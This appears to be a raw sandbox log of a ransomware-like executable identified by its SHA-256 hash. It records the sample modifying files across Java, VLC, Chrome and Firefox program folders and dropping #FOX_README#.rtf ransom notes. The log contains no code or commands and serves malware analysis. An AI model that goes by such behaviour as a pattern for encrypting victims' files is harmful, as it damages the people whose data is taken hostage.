f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.event_1.3.100.v20140115-1647.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\83.0.4103.106\83.0.4103.106_chrome_installer.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derby.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\configuration\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.historicaldata_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-uisupport.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\hu\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\prodbig.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.common_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\hy\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-swing-outline_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\THANKS.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.SF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-core-ui.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\META-INF\ECLIPSE_.RSA f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-loaders.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-sampler.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-tools.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\org.eclipse.rcp_root_4.4.0.v20141007-2301 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-applemenu_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\javacpl.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-options-keymap.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winClassicTSFrame.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\eclipse.inf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-compat_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-core.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\eclipse.inf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.databinding.beans_1.2.200.v20140214-0004.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.artifact.repository.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateHelper.msi f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\en-US.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-editor-mimelookup-impl.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\management\snmp.acl.template f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\policytool.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\stream_config_window.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.docs_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-favorites.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-sampler.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\javah.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.jsp.jasper_1.0.400.v20130327-1442.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-uisupport_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.commands_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\ro.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\uninstall.log f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\lt\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\diagnostic-command-16.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\sw.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\plugin.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\VideoLAN Website.url f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.views.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\status.json f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.apache.httpcomponents.httpcore_4.2.5.v201311072007.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-application-views.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.ibm.icu_52.1.0.v201404241930.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.model.workbench.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\ca.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.workbench_3.106.1.v20140827-1737.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-api-search.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.intro_3.4.200.v20130326-1254.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.osgi.services.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\include\win32\bridge\AccessBridgePackages.h f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.metadataprovider.exsd f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-modules-appui.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\license.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-favorites_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-selector-api.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\license.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-attach.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\locale\org-openide-util-lookup_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-masterfs_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\java-rmi.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.manipulator.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rcp.intro.ja_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-services_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\deploy\messages_pt_BR.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\deploy\messages_zh_HK.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jstatd.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-utilities.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\th\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerActions.exsd f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\asl-v20.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.syntheticattribute.exsd f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleCrashHandler.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-openide-options.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-cli_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-progress-ui.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\README-JDK.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.jface.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\icudtl.dat f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\flavormap.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\ext\sunjce_provider.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\license.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\about.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\ko.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\management\jmxremote.password.template f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata_2.2.0.v20131211-1531.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-applemenu_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-tools_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\SetupMetrics\20200616120004.pma f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\RemoveReceive.odp f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\server\classes.jsa f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\security\blacklisted.certs f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ext_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.win32.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\fonts\TwemojiMozilla.ttf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-sampler.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\ij.bat f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-core-multitabs_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\ext\sunmscapi.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-core-windows_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\nl\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-swing-tabcontrol.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-windows.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.emf.common_2.10.1.v20140901-1043.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\COPYING.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\ECLIPSE_.SF 